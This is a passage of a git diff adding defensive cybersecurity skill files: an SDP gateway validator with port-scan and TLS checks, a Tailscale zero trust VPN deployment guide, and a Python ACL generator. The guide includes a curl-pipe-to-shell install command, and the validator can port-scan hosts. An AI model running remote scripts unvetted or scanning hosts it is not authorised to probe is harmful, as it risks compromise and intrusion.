x in cert.get("issuer", [])), + "version": cert.get("version"), + "not_before": cert.get("notBefore"), + "not_after": cert.get("notAfter"), + "serial": cert.get("serialNumber"), + } + + not_after = cert.get("notAfter", "") + if not_after: + expiry = datetime.strptime(not_after, "%b %d %H:%M:%S %Y %Z") + days_remaining = (expiry - datetime.utcnow()).days + result["certificate"]["days_remaining"] = days_remaining + if days_remaining < 30: + result["errors"].append(f"Certificate expires in {days_remaining} days") + + except ssl.SSLError as e: + result["errors"].append(f"SSL error: {str(e)}") + except Exception as e: + result["errors"].append(f"Connection error: {str(e)}") + + return result + + +def validate_sdp_config(config: dict) -> dict: + """Validate SDP deployment configuration.""" + findings = [] + score = 100 + + controller = config.get("controller", {}) + if not controller.get("ha_enabled"): + findings.append({"severity": "high", "finding": "Controller HA not enabled"}) + score -= 15 + + if not controller.get("idp_integration"): + findings.append({"severity": "critical", "finding": "No IdP integration configured"}) + score -= 25 + + if not controller.get("audit_logging"): + findings.append({"severity": "high", "finding": "Audit logging not enabled on controller"}) + score -= 10 + + gateways = config.get("gateways", []) + if not gateways: + findings.append({"severity": "critical", "finding": "No SDP gateways deployed"}) + score -= 25 + for gw in gateways: + if not gw.get("default_drop"): + findings.append({"severity": "critical", "finding": f"Gateway {gw.get('name')}: default-drop not enabled"}) + score -= 20 + if not gw.get("spa_enabled"): + findings.append({"severity": "critical", "finding": f"Gateway {gw.get('name')}: SPA not enabled"}) + score -= 15 + if not gw.get("mtls_enabled"): + findings.append({"severity": "high", "finding": f"Gateway {gw.get('name')}: mTLS not configured"}) + score -= 10 + + pki = config.get("pki", {}) + cert_lifetime_hours = pki.get("client_cert_lifetime_hours", 8760) + if cert_lifetime_hours > 72: + findings.append({ + "severity": "warning", + "finding": f"Client certificate lifetime is {cert_lifetime_hours}h (recommend <=72h for zero trust)" + }) + score -= 5 + + if not pki.get("ocsp_enabled") and not pki.get("crl_enabled"): + findings.append({"severity": "high", "finding": "No certificate revocation checking enabled"}) + score -= 10 + + monitoring = config.get("monitoring", {}) + if not monitoring.get("siem_integration"): + findings.append({"severity": "warning", "finding": "No SIEM integration for SDP events"}) + score -= 5 + + return { + "score": max(score, 0), + "findings": findings, + "status": "ready" if score >= 80 else "needs_work" if score >= 50 else "not_ready", + "timestamp": datetime.now().isoformat(), + } + + +def generate_sdp_deployment_report(config: dict) -> dict: + """Generate comprehensive SDP deployment report.""" + validation = validate_sdp_config(config) + + applications = config.get("applications", []) + users = config.get("authorized_users", []) + + return { + "generated": datetime.now().isoformat(), + "deployment_status": validation["status"], + "security_score": validation["score"], + "findings": validation["findings"], + "summary": { + "controller_ha": config.get("controller", {}).get("ha_enabled", False), + "gateways_deployed": len(config.get("gateways", [])), + "applications_protected": len(applications), + "authorized_users": len(users), + "spa_enabled": all(g.get("spa_enabled") for g in config.get("gateways", [])), + "mtls_enabled": all(g.get("mtls_enabled") for g in config.get("gateways", [])), + }, + "recommendations": [f["finding"] for f in validation["findings"] if f["severity"] in ("critical", "high")], + } + + +def main(): + import argparse + parser = argparse.ArgumentParser(description="SDP Deployment Validator") + parser.add_argument("--config", type=str, help="Path to SDP configuration JSON") + parser.add_argument("--scan", type=str, help="Gateway host to scan for invisibility") + parser.add_argument("--scan-ports", type=str, default="1-1024", help="Port range to scan") + parser.add_argument("--check-tls", type=str, help="Host:port to check TLS certificate") + parser.add_argument("--output", type=str, default="sdp_report.json") + args = parser.parse_args() + + if args.config: + with open(args.config) as f: + config = json.load(f) + report = generate_sdp_deployment_report(config) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"SDP Status: {report['deployment_status']} (Score: {report['security_score']})") + for r in report["recommendations"]: + print(f" - {r}") + + elif args.scan: + start, end = args.scan_ports.split("-") + result = check_gateway_invisibility(args.scan, (int(start), int(end))) + with open(args.output, "w") as f: + json.dump(result, f, indent=2) + status = "INVISIBLE" if result["invisible"] else "EXPOSED" + print(f"Gateway {args.scan}: {status}") + if result["open_ports"]: + print(f" Open ports: {result['open_ports']}") + + elif args.check_tls: + parts = args.check_tls.split(":") + host = parts[0] + port = int(parts[1]) if len(parts) > 1 else 443 + result = validate_mtls_certificate(host, port) + with open(args.output, "w") as f: + json.dump(result, f, indent=2) + print(f"TLS on {host}:{port}: {'configured' if result['tls_configured'] else 'not configured'}") + + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md b/skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md new file mode 100644 index 00000000..b0b898ba --- /dev/null +++ b/skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md @@ -0,0 +1,409 @@ +--- +name: deploying-tailscale-for-zero-trust-vpn +description: Deploy and configure Tailscale as a WireGuard-based zero trust mesh VPN with identity-aware access controls, ACLs, and exit nodes for secure peer-to-peer connectivity. +domain: cybersecurity +subdomain: zero-trust-architecture +tags: [zero-trust, tailscale, wireguard, mesh-vpn, ztna, peer-to-peer, acl, identity-aware, headscale] +version: "1.0" +author: mahipal +license: MIT +--- + +# Deploying Tailscale for Zero Trust VPN + +## Overview + +Tailscale is a zero trust mesh VPN built on WireGuard that creates encrypted peer-to-peer connections between devices without requiring traditional VPN servers or complex network configuration. Every connection in a Tailscale network (tailnet) is end-to-end encrypted using WireGuard's Noise protocol framework with Curve25519 key exchange. Tailscale implements zero trust networking by authenticating every connection request through identity providers, enforcing granular Access Control Lists (ACLs), and supporting features like exit nodes, subnet routers, MagicDNS, and Tailscale SSH. For organizations preferring self-hosted infrastructure, Headscale provides an open-source implementation of the Tailscale control server. + +## Prerequisites + +- Identity provider (Okta, Azure AD, Google Workspace, GitHub, or OIDC-compatible) +- Devices running supported OS (Linux, Windows, macOS, iOS, Android, FreeBSD) +- Administrative access to configure DNS and firewall rules +- Understanding of WireGuard protocol fundamentals +- Network planning documentation for subnet routing requirements + +## Architecture + +``` + Tailscale Coordination Server + (or self-hosted Headscale) + | + Key Distribution + & NAT Traversal + | + +-----------------+-----------------+ + | | | + +----+----+ +----+----+ +----+----+ + | Node A |<---->| Node B |<---->| Node C | + | (Linux) | | (macOS) | |(Windows)| + +---------+ +---------+ +---------+ + WireGuard WireGuard WireGuard + Encrypted Encrypted Encrypted + P2P Tunnel P2P Tunnel P2P Tunnel + + Each node connects directly to every other node. + DERP relay servers used only when direct P2P fails. +``` + +## Installation and Setup + +### Linux Installation + +```bash +# Add Tailscale repository and install +curl -fsSL https://tailscale.com/install.sh | sh + +# Start Tailscale and authenticate +sudo tailscale up + +# Check connection status +tailscale status + +# View assigned IP address +tailscale ip -4 +tailscale ip -6 +``` + +### Windows / macOS Installation + +```bash +# Windows: Download from https://tailscale.com/download/windows +# macOS: Install via Homebrew +brew install --cask tailscale + +# Or download from https://tailscale.com/download/mac +``` + +### Docker Deployment + +```yaml +# docker-compose.yml for Tailscale sidecar +version: '3.8' +services: + tailscale: + image: tailscale/tailscale:latest + container_name: tailscale + hostname: my-service + environment: + - TS_AUTHKEY=tskey-auth-xxxxx # Pre-auth key + - TS_STATE_DIR=/var/lib/tailscale + - TS_EXTRA_ARGS=--advertise-tags=tag:container + volumes: + - tailscale-state:/var/lib/tailscale + - /dev/net/tun:/dev/net/tun + cap_add: + - net_admin + - sys_module + restart: unless-stopped + +volumes: + tailscale-state: +``` + +### Kubernetes Deployment + +```yaml +# Tailscale operator for Kubernetes +apiVersion: v1 +kind: Secret +metadata: + name: tailscale-auth + namespace: tailscale +type: Opaque +stringData: + TS_AUTHKEY: "tskey-auth-xxxxx" +--- +apiVersion: apps/v1 +kind: DaemonSet +metadata: + name: tailscale + namespace: tailscale +spec: + selector: + matchLabels: + app: tailscale + template: + metadata: + labels: + app: tailscale + spec: + containers: + - name: tailscale + image: tailscale/tailscale:latest + env: + - name: TS_AUTHKEY + valueFrom: + secretKeyRef: + name: tailscale-auth + key: TS_AUTHKEY + - name: TS_KUBE_SECRET + value: tailscale-state + - name: TS_USERSPACE + value: "true" + securityContext: + capabilities: + add: ["NET_ADMIN"] +``` + +## Access Control Lists (ACLs) + +Tailscale ACLs define who can access what within your tailnet using a declarative JSON format. The default policy is deny-all, making it zero trust by design. + +```json +{ + "acls": [ + // Engineering team can access development servers + { + "action": "accept", + "src": ["group:engineering"], + "dst": ["tag:dev-server:*"] + }, + // SRE team can access production infrastructure + { + "action": "accept", + "src": ["group:sre"], + "dst": ["tag:production:22,443,8080"] + }, + // Database access restricted to backend services + { + "action": "accept", + "src": ["tag:backend"], + "dst": ["tag:database:5432,3306,27017"] + }, + // All employees can access internal tools + { + "action": "accept", + "src": ["group:employees"], + "dst": ["tag:internal-tools:443"] + } + ], + + "groups": { + "group:engineering": ["user@company.com", "dev@company.com"], + "group:sre": ["sre@company.com", "oncall@company.com"], + "group:employees": ["autogroup:members"] + }, + + "tagOwners": { + "tag:dev-server": ["group:engineering"], + "tag:production": ["group:sre"], + "tag:backend": ["group:sre"], + "tag:database": ["group:sre"], + "tag:internal-tools": ["group:sre"], + "tag:container": ["group:sre"] + }, + + "ssh": [ + { + "action": "check", + "src": ["group:sre"], + "dst": ["tag:production"], + "users": ["root", "admin"] + }, + { + "action": "accept", + "src": ["group:engineering"], + "dst": ["tag:dev-server"], + "users": ["autogroup:nonroot"] + } + ], + + "nodeAttrs": [ + { + "target": ["autogroup:members"], + "attr": ["funnel:deny"] + } + ] +} +``` + +## Exit Nodes and Subnet Routing + +### Configure Exit Node + +```bash +# On the exit node machine +sudo tailscale up --advertise-exit-node + +# On the client machine, use the exit node +sudo tailscale up --exit-node= + +# Verify exit node routing +curl ifconfig.me # Should show exit node's public IP +``` + +### Subnet Router Configuration + +```bash +# Advertise local subnets through Tailscale +sudo tailscale up --advertise-routes=10.0.0.0/24,192.168.1.0/24 + +# Enable IP forwarding on Linux +echo 'net.ipv4.ip_forward = 1' | sudo tee -a /etc/sysctl.conf +echo 'net.ipv6.conf.all.forwarding = 1' | sudo tee -a /etc/sysctl.conf +sudo sysctl -p + +# Accept routes on client +sudo tailscale up --accept-routes +``` + +## Tailscale SSH (Zero Trust SSH) + +Tailscale SSH replaces traditional SSH key management with identity-based access. + +```bash +# Enable Tailscale SSH on a server +sudo tailscale up --ssh + +# Connect using Tailscale SSH (no SSH keys needed) +ssh user@hostname # Authenticates via Tailscale identity + +# Session recording (audit logging) +# Configure in ACL policy: +# "ssh": [{"action": "check", "src": [...], "dst": [...], "users": [...]}] +# "check" action requires re-authentication and records sessions +``` + +## MagicDNS Configuration + +```bash +# MagicDNS is enabled by default in new tailnets +# Access devices by hostname instead of IP +ping my-server # Resolves via MagicDNS + +# Custom DNS configuration via admin console +# Split DNS: route specific domains to internal DNS servers +# Global nameservers: override default DNS resolution +``` + +## Self-Hosted with Headscale + +```bash +# Install Headscale (open-source Tailscale control server) +wget https://github.com/juanfont/headscale/releases/latest/download/headscale_linux_amd64 +chmod +x headscale_linux_amd64 +sudo mv headscale_linux_amd64 /usr/local/bin/headscale + +# Create configuration +sudo mkdir -p /etc/headscale +sudo headscale generate config > /etc/headscale/config.yaml + +# Edit config for your environment +# Key settings: +# server_url: https://headscale.example.com +# listen_addr: 0.0.0.0:8080 +# private_key_path: /etc/headscale/private.key +# db_type: sqlite3 +# db_path: /var/lib/headscale/db.sqlite + +# Start Headscale +sudo headscale serve + +# Create user and pre-auth key +headscale users create myorg +headscale preauthkeys create --user myorg --reusable --expiration 24h + +# Connect Tailscale client to Headscale +tailscale up --login-server https://headscale.example.com +``` + +## Security Hardening + +### Key Expiry and Rotation + +```bash +# Set key expiry in admin console (default: 180 days) +# Force re-authentication periodically + +# Disable key expiry for servers (use auth keys instead) +sudo tailscale up --authkey=tskey-auth-xxxxx + +# Pre-auth keys for automated deployment +# Create ephemeral, single-use keys for CI/CD +``` + +### Device Authorization + +```json +{ + "nodeAttrs": [ + { + "target": ["autogroup:members"], + "attr": [ + "mullvad:deny", + "funnel:deny" + ] + } + ], + "autoApprovers": { + "routes": { + "10.0.0.0/24": ["group:sre"], + "192.168.0.0/16": ["group:sre"] + }, + "exitNode": ["group:sre"] + } +} +``` + +### Network Lock (Tailnet Lock) + +```bash +# Initialize network lock with signing keys +tailscale lock init + +# Add trusted signing keys +tailscale lock add nodekey:xxxxx + +# All new nodes require signing before joining +# Prevents unauthorized nodes from joining the tailnet +``` + +## Monitoring and Observability + +```bash +# View network status +tailscale status --json | jq '.Peer | to_entries[] | {name: .value.HostName, online: .value.Online, os: .value.OS}' + +# Check connection quality +tailscale ping + +# View network map +tailscale netcheck + +# Audit logs available in Tailscale admin console +# Integration with SIEM via webhook or API +``` + +## Integration Patterns + +### Service Mesh Integration + +```bash +# Tailscale as sidecar for service-to-service communication +# Each service gets a Tailscale identity +# ACLs enforce service-to-service access policies + +# Example: API service can only reach database service +# ACL: tag:api -> tag:database:5432 +``` + +### CI/CD Pipeline Integration + +```bash +# Use ephemeral auth keys in CI/CD +export TS_AUTHKEY=tskey-auth-xxxxx-ephemeral +tailscale up --authkey=$TS_AUTHKEY --hostname=ci-runner-$CI_JOB_ID + +# Access internal resources during build/deploy +# Node automatically removed when container stops +``` + +## References + +- [Tailscale Documentation](https://tailscale.com/kb/) +- [How Tailscale Works](https://tailscale.com/blog/how-tailscale-works) +- [Tailscale ACL Documentation](https://tailscale.com/kb/1018/acls/) +- [Headscale - Open Source Control Server](https://github.com/juanfont/headscale) +- [WireGuard Protocol](https://www.wireguard.com/protocol/) +- [Tailscale SSH](https://tailscale.com/kb/1193/tailscale-ssh/) diff --git a/skills/deploying-tailscale-for-zero-trust-vpn/assets/template.md b/skills/deploying-tailscale-for-zero-trust-vpn/assets/template.md new file mode 100644 index 00000000..5d22901f --- /dev/null +++ b/skills/deploying-tailscale-for-zero-trust-vpn/assets/template.md @@ -0,0 +1,75 @@ +# Tailscale Deployment Planning Template + +## Network Architecture + +- **Organization**: _______________ +- **Tailnet Name**: _______________ +- **Identity Provider**: _______________ +- **Key Expiry Policy**: _______________ +- **Self-hosted (Headscale)**: [ ] Yes [ ] No + +## User Groups + +| Group Name | Description | Members Count | Access Level | +|---|---|---|---| +| group:engineering | Development team | ___ | Development, Staging | +| group:sre | SRE/DevOps team | ___ | All environments | +| group:security | Security team | ___ | Monitoring, Audit | +| group:management | Leadership | ___ | Dashboards only | + +## Infrastructure Tags + +| Tag | Description | Owner Group | Environment | +|---|---|---|---| +| tag:production | Production servers | group:sre | Production | +| tag:staging | Staging servers | group:engineering | Staging | +| tag:development | Dev servers | group:engineering | Development | +| tag:database | Database servers | group:sre | All | +| tag:monitoring | Monitoring stack | group:sre | All | + +## Subnet Routes + +| CIDR | Description | Router Node | Auto-Approved | +|---|---|---|---| +| 10.0.0.0/16 | Corporate network | ___ | [ ] Yes | +| 192.168.0.0/24 | Lab network | ___ | [ ] Yes | + +## Exit Nodes + +| Hostname | Location | Purpose | Auto-Approved | +|---|---|---|---| +| ___ | ___ | Internet routing | [ ] Yes | +| ___ | ___ | Geo-specific access | [ ] Yes | + +## Security Checklist + +- [ ] Identity provider configured with MFA +- [ ] Key expiry enabled (recommended: 90 days) +- [ ] ACLs configured with deny-all default +- [ ] Network Lock enabled +- [ ] SSH access requires re-authentication for privileged users +- [ ] Audit logging enabled +- [ ] Subnet routes approved only for authorized nodes +- [ ] Exit nodes approved only for authorized nodes +- [ ] Untagged node policy defined +- [ ] Ephemeral keys used for CI/CD and temporary workloads + +## Rollout Plan + +### Phase 1: Infrastructure +- [ ] Deploy to servers and critical infrastructure +- [ ] Configure subnet routers +- [ ] Set up exit nodes +- [ ] Test ACL enforcement + +### Phase 2: User Onboarding +- [ ] Pilot group deployment +- [ ] Full organization rollout +- [ ] VPN migration (decommission legacy VPN) +- [ ] User training and documentation + +### Phase 3: Hardening +- [ ] Enable Network Lock +- [ ] Enable Tailscale SSH with session recording +- [ ] Configure auto-approvers +- [ ] Set up monitoring and alerting diff --git a/skills/deploying-tailscale-for-zero-trust-vpn/references/standards.md b/skills/deploying-tailscale-for-zero-trust-vpn/references/standards.md new file mode 100644 index 00000000..d3a6f8eb --- /dev/null +++ b/skills/deploying-tailscale-for-zero-trust-vpn/references/standards.md @@ -0,0 +1,55 @@ +# Standards Reference: Tailscale Zero Trust VPN + +## Protocol Standards + +### WireGuard Protocol +- **Encryption**: ChaCha20 for symmetric encryption +- **Key Exchange**: Curve25519 for Diffie-Hellman +- **MAC**: Poly1305 for message authentication +- **Hashing**: BLAKE2s for hashing +- **Framework**: Noise Protocol Framework for key negotiation + +### NIST SP 800-207: Zero Trust Architecture +- Tailscale implements identity-aware proxying (Section 3.2.2) +- End-to-end encryption satisfies data-in-transit requirements +- ACL-based access control implements least privilege access +- Device identity via WireGuard keys maps to device trust + +### NIST SP 800-77: Guide to IPsec VPNs +- WireGuard provides alternative to IPsec with reduced complexity +- Tailscale automates key distribution and NAT traversal +- Mesh topology eliminates single point of failure + +## Tailscale Security Model + +### Identity Layer +- Authentication via OIDC-compatible identity providers +- SSO integration with Okta, Azure AD, Google Workspace, GitHub +- MFA enforcement through identity provider policies +- Key expiry forces periodic re-authentication + +### Network Layer +- Default deny ACL policy (zero trust) +- Per-connection authorization based on identity and tags +- No implicit trust based on network location +- All traffic encrypted with WireGuard (256-bit keys) + +### Device Layer +- Unique WireGuard key pair per device +- Device authorization required before network access +- Network Lock prevents unauthorized node addition +- Ephemeral nodes for temporary workloads + +## Compliance Considerations + +### SOC 2 +- End-to-end encryption for data in transit +- ACL-based access control for authorization +- Audit logging for all connection events +- Key management through coordination server + +### GDPR +- Data minimization: Tailscale only routes traffic, does not inspect +- Encryption: All traffic encrypted end-to-end +- Self-hosted option (Headscale) for data sovereignty +- Log retention configurable per organization policy diff --git a/skills/deploying-tailscale-for-zero-trust-vpn/references/workflows.md b/skills/deploying-tailscale-for-zero-trust-vpn/references/workflows.md new file mode 100644 index 00000000..14800342 --- /dev/null +++ b/skills/deploying-tailscale-for-zero-trust-vpn/references/workflows.md @@ -0,0 +1,97 @@ +# Workflows: Deploying Tailscale for Zero Trust VPN + +## Workflow 1: Initial Tailnet Deployment + +``` +Step 1: Plan Network Architecture + - Identify all devices and services requiring connectivity + - Map existing network topology and access requirements + - Define user groups and access policies + - Plan subnet routing for legacy network integration + - Determine exit node placement for internet routing + +Step 2: Configure Identity Provider + - Enable SSO with organizational identity provider + - Configure MFA enforcement policies + - Map identity provider groups to Tailscale groups + - Set key expiry policy (recommended: 90 days) + +Step 3: Deploy Tailscale Nodes + - Install on critical infrastructure first (servers, databases) + - Deploy to user endpoints (laptops, mobile devices) + - Configure subnet routers for non-Tailscale networks + - Set up exit nodes for secure internet access + - Enable MagicDNS for hostname resolution + +Step 4: Configure ACLs + - Start with deny-all baseline + - Define groups matching organizational structure + - Create tag-based policies for infrastructure + - Test ACLs in audit mode before enforcement + - Document all ACL rules and their business justification + +Step 5: Validate and Monitor + - Test connectivity between all required paths + - Verify ACL enforcement blocks unauthorized access + - Enable audit logging + - Configure alerts for connection anomalies +``` + +## Workflow 2: ACL Policy Development + +``` +Step 1: Inventory Access Requirements + - List all user roles and their resource needs + - Map application dependencies (service-to-service) + - Identify privileged access paths + - Document temporary/exception access needs + +Step 2: Design Policy Structure + - Define groups (users, teams, roles) + - Define tags (environments, service types, sensitivity) + - Map access rules: group/tag -> destination:ports + - Plan SSH access policies with session recording + +Step 3: Implement and Test + - Write ACL JSON configuration + - Deploy in test/staging tailnet first + - Validate each rule with test connections + - Verify deny rules block unauthorized access + - Review with security team before production deployment + +Step 4: Maintain and Audit + - Review ACLs quarterly for stale rules + - Audit access logs for policy violations + - Update groups when team membership changes + - Remove deprecated rules and tags +``` + +## Workflow 3: Headscale Self-Hosted Deployment + +``` +Step 1: Prepare Infrastructure + - Provision server with public IP and domain + - Configure TLS certificate (Let's Encrypt) + - Set up PostgreSQL or SQLite database + - Configure firewall rules (port 443, DERP relay ports) + +Step 2: Install and Configure Headscale + - Download latest Headscale binary + - Generate configuration file + - Configure OIDC provider integration + - Set up DNS records for coordination server + - Configure DERP relay servers + +Step 3: Onboard Users and Devices + - Create users/namespaces in Headscale + - Generate pre-auth keys for automated deployment + - Connect client devices to Headscale server + - Configure ACLs via Headscale policy file + +Step 4: Operational Maintenance + - Monitor Headscale server health + - Rotate pre-auth keys regularly + - Backup database and configuration + - Update Headscale and client versions + - Review and rotate DERP relay configuration +``` diff --git a/skills/deploying-tailscale-for-zero-trust-vpn/scripts/process.py b/skills/deploying-tailscale-for-zero-trust-vpn/scripts/process.py new file mode 100644 index 00000000..fd6f36d1 --- /dev/null +++ b/skills/deploying-tailscale-for-zero-trust-vpn/scripts/process.py @@ -0,0 +1,340 @@ +#!/usr/bin/env python3 +""" +Tailscale Zero Trust VPN Management and Monitoring. + +Manages Tailscale deployment, ACL generation, network health monitoring, +and compliance reporting for zero trust mesh VPN infrastructure. +""" + +import json +import subprocess +import datetime +from dataclasses import dataclass, field +from pathlib import Path +from typing import Optional + + +@dataclass +class TailscaleNode: + hostname: str + ip4: str + ip6: str = "" + os: str = "" + online: bool = False + tags: list = field(default_factory=list) + key_expiry: str = "" + last_seen: str = "" + exit_node: bool = False + subnet_routes: list = field(default_factory=list) + + +@dataclass +class ACLRule: + action: str # "accept" or "deny" + src: list + dst: list + description: str = "" + + +@dataclass +class ACLGroup: + name: str + members: list + + +class TailscaleACLGenerator: + """Generate and validate Tailscale ACL configurations.""" + + def __init__(self): + self.groups: dict[str, list] = {} + self.tag_owners: dict[str, list] = {} + self.acls: list[dict] = [] + self.ssh_rules: list[dict] = [] + self.auto_approvers: dict = {"routes": {}, "exitNode": []} + self.node_attrs: list[dict] = [] + + def add_group(self, name: str, members: list): + if not name.startswith("group:"): + name = f"group:{name}" + self.groups[name] = members + + def add_tag(self, tag: str, owners: list): + if not tag.startswith("tag:"): + tag = f"tag:{tag}" + self.tag_owners[tag] = owners + + def add_acl_rule(self, src: list, dst: list, action: str = "accept"): + self.acls.append({"action": action, "src": src, "dst": dst}) + + def add_ssh_rule(self, src: list, dst: list, users: list, action: str = "check"): + self.ssh_rules.append({ + "action": action, + "src": src, + "dst": dst, + "users": users, + }) + + def add_auto_approver_route(self, cidr: str, approvers: list): + self.auto_approvers["routes"][cidr] = approvers + + def add_auto_approver_exit_node(self, approvers: list): + self.auto_approvers["exitNode"] = approvers + + def generate_policy(self) -> dict: + policy = {} + if self.groups: + policy["groups"] = self.groups + if self.tag_owners: + policy["tagOwners"] = self.tag_owners + if self.acls: + policy["acls"] = self.acls + if self.ssh_rules: + policy["ssh"] = self.ssh_rules + if self.auto_approvers["routes"] or self.auto_approvers["exitNode"]: + policy["autoApprovers"] = self.auto_approvers + if self.node_attrs: + policy["nodeAttrs"] = self.node_attrs + return policy + + def export_policy(self, output_path: str): + policy = self.generate_policy() + path = Path(output_path) + path.parent.mkdir(parents=True, exist_ok=True) + with open(path, "w") as f: + json.dump(policy, f, indent=2) + return policy + + def validate_policy(self) -> list: + """Validate ACL policy for common issues.""" + issues = [] + policy = self.generate_policy() + + # Check for empty ACLs + if not policy.get("acls"): + issues.append("WARNING: No ACL rules defined - all traffic will be denied") + + # Check for overly permissive rules + for i, rule in enumerate(self.acls): + if "*" in rule.get("src", []) and "*" in rule.get("dst", []): + issues.append(f"CRITICAL: Rule {i} allows all-to-all access") + for dst in rule.get("dst", []): + if dst.endswith(":*"): + issues.append(f"WARNING: Rule {i} allows all ports to {dst}") + + # Check groups reference valid members + for group_name, members in self.groups.items(): + if not members: + issues.append(f"WARNING: Group {group_name} has no members") + + # Check tag owners exist + for tag, owners in self.tag_owners.items(): + for owner in owners: + if owner.startswith("group:") and owner not in self.groups: + issues.append(f"ERROR: Tag {tag} references undefined group {owner}") + + # Check SSH rules + for i, rule in enumerate(self.ssh_rules): + if "root" in rule.get("users", []) and rule.get("action") != "check": + issues.append(f"WARNING: SSH rule {i} allows root access without re-auth check") + + return issues + + +class TailscaleMonitor: + """Monitor Tailscale network health and compliance.""" + + def __init__(self): + self.nodes: list[TailscaleNode] = [] + + def get_status(self) -> dict: + """Get current Tailscale status via CLI.""" + try: + result = subprocess.run( + ["tailscale", "status", "--json"], + capture_output=True, text=True, timeout=10 + ) + if result.returncode == 0: + return json.loads(result.stdout) + except (subprocess.TimeoutExpired, FileNotFoundError, json.JSONDecodeError): + pass + return {} + + def parse_nodes(self, status: dict) -> list[TailscaleNode]: + """Parse Tailscale status into node objects.""" + self.nodes = [] + peers = status.get("Peer", {}) + for peer_id, peer_data in peers.items(): + node = TailscaleNode( + hostname=peer_data.get("HostName", "unknown"), + ip4=peer_data.get("TailscaleIPs", [""])[0] if peer_data.get("TailscaleIPs") else "", + ip6=peer_data.get("TailscaleIPs", ["", ""])[1] if len(peer_data.get("TailscaleIPs", [])) > 1 else "", + os=peer_data.get("OS", ""), + online=peer_data.get("Online", False), + tags=peer_data.get("Tags", []), + key_expiry=peer_data.get("KeyExpiry", ""), + last_seen=peer_data.get("LastSeen", ""), + exit_node=peer_data.get("ExitNode", False), + ) + self.nodes.append(node) + return self.nodes + + def check_health(self) -> dict: + """Run health checks on the tailnet.""" + report = { + "timestamp": datetime.datetime.now().isoformat(), + "total_nodes": len(self.nodes), + "online_nodes": sum(1 for n in self.nodes if n.online), + "offline_nodes": sum(1 for n in self.nodes if not n.online), + "expiring_keys": [], + "untagged_nodes": [], + "exit_nodes": [], + "issues": [], + } + + for node in self.nodes: + # Check for expiring keys + if node.key_expiry: + try: + expiry = datetime.datetime.fromisoformat(node.key_expiry.replace("Z", "+00:00")) + days_until = (expiry - datetime.datetime.now(datetime.timezone.utc)).days + if days_until < 30: + report["expiring_keys"].append({ + "hostname": node.hostname, + "expires_in_days": days_until, + }) + except (ValueError, TypeError): + pass + + # Check for untagged nodes + if not node.tags: + report["untagged_nodes"].append(node.hostname) + + # Track exit nodes + if node.exit_node: + report["exit_nodes"].append(node.hostname) + + # Generate issues + if report["offline_nodes"] > 0: + report["issues"].append( + f"{report['offline_nodes']} nodes offline" + ) + if report["expiring_keys"]: + report["issues"].append( + f"{len(report['expiring_keys'])} nodes with keys expiring within 30 days" + ) + if report["untagged_nodes"]: + report["issues"].append( + f"{len(report['untagged_nodes'])} nodes without tags (ungoverned by ACLs)" + ) + + return report + + def generate_compliance_report(self) -> dict: + """Generate zero trust compliance report for the tailnet.""" + report = { + "report_date": datetime.datetime.now().isoformat(), + "zero_trust_checks": { + "encryption": { + "status": "PASS", + "detail": "All connections use WireGuard end-to-end encryption", + }, + "identity_based_access": { + "status": "PASS" if all(n.tags for n in self.nodes) else "FAIL", + "detail": "All nodes should have identity tags for ACL enforcement", + }, + "least_privilege": { + "status": "REVIEW", + "detail": "ACL policy review required - validate minimum necessary access", + }, + "continuous_verification": { + "status": "PASS" if not any( + n.key_expiry == "" for n in self.nodes + ) else "WARNING", + "detail": "Key expiry should be enabled for all non-server nodes", + }, + "device_trust": { + "status": "REVIEW", + "detail": "Verify device authorization and Network Lock status", + }, + }, + } + return report + + +def generate_example_policy(): + """Generate an example zero trust ACL policy for Tailscale.""" + gen = TailscaleACLGenerator() + + # Define groups + gen.add_group("engineering", ["eng1@company.com", "eng2@company.com"]) + gen.add_group("sre", ["sre1@company.com", "sre2@company.com"]) + gen.add_group("security", ["sec1@company.com"]) + gen.add_group("management", ["mgr1@company.com"]) + + # Define tags + gen.add_tag("production", ["group:sre"]) + gen.add_tag("staging", ["group:engineering", "group:sre"]) + gen.add_tag("development", ["group:engineering"]) + gen.add_tag("database", ["group:sre"]) + gen.add_tag("monitoring", ["group:sre", "group:security"]) + gen.add_tag("ci-runner", ["group:sre"]) + + # ACL rules - zero trust, least privilege + gen.add_acl_rule( + src=["group:engineering"], + dst=["tag:development:*", "tag:staging:443,8080"] + ) + gen.add_acl_rule( + src=["group:sre"], + dst=["tag:production:22,443,8080", "tag:staging:*", "tag:database:5432,3306"] + ) + gen.add_acl_rule( + src=["group:security"], + dst=["tag:monitoring:443,9090", "tag:production:443"] + ) + gen.add_acl_rule( + src=["tag:ci-runner"], + dst=["tag:staging:443,8080", "tag:production:443"] + ) + + # SSH rules with re-authentication + gen.add_ssh_rule( + src=["group:sre"], + dst=["tag:production"], + users=["admin"], + action="check" # Requires re-auth, records session + ) + gen.add_ssh_rule( + src=["group:engineering"], + dst=["tag:development"], + users=["autogroup:nonroot"], + action="accept" + ) + + # Auto-approvers for subnet routes + gen.add_auto_approver_route("10.0.0.0/16", ["group:sre"]) + gen.add_auto_approver_exit_node(["group:sre"]) + + # Validate + issues = gen.validate_policy() + if issues: + print("Policy Validation Issues:") + for issue in issues: + print(f" - {issue}") + else: + print("Policy validation: PASSED") + + # Export + policy = gen.export_policy("tailscale_acl_policy.json") + print(f"\nGenerated ACL policy with:") + print(f" Groups: {len(gen.groups)}") + print(f" Tags: {len(gen.tag_owners)}") + print(f" ACL Rules: {len(gen.acls)}") + print(f" SSH Rules: {len(gen.ssh_rules)}") + print(f"\nPolicy saved to: tailscale_acl_policy.json") + print(f"\nPolicy preview:") + print(json.dumps(policy, indent=2)) + + +if __name__ == "__main__": + generate_example_policy() diff --git a/skills/detecting-anomalies-in-industrial-control-systems/SKILL.md b/skills/detecting-anomalies-in-industrial-control-systems/SKILL.md new file mode 100644 index 00000000..bc2f2c82 --- /dev/null +++ b/skills/detecting-anomalies-in-industrial-control-systems/SKILL.md @@ -0,0 +1,313 @@ +--- +name: detecting-anomalies-in-industrial-control-systems +description: > + This skill covers deploying anomaly detection systems for industrial control + environments using machine learning models trained on OT network baselines, + physics-based process models, and behavioral analysis of industrial protocol + communications. It addresses building normal behavior profiles for SCADA polling + patterns, detecting deviations in Modbus/DNP3/OPC UA traffic, identifying rogue + devices, and correlating network anomalies with physical process data from historians. +domain: cybersecurity +subdomain: ot-ics-security 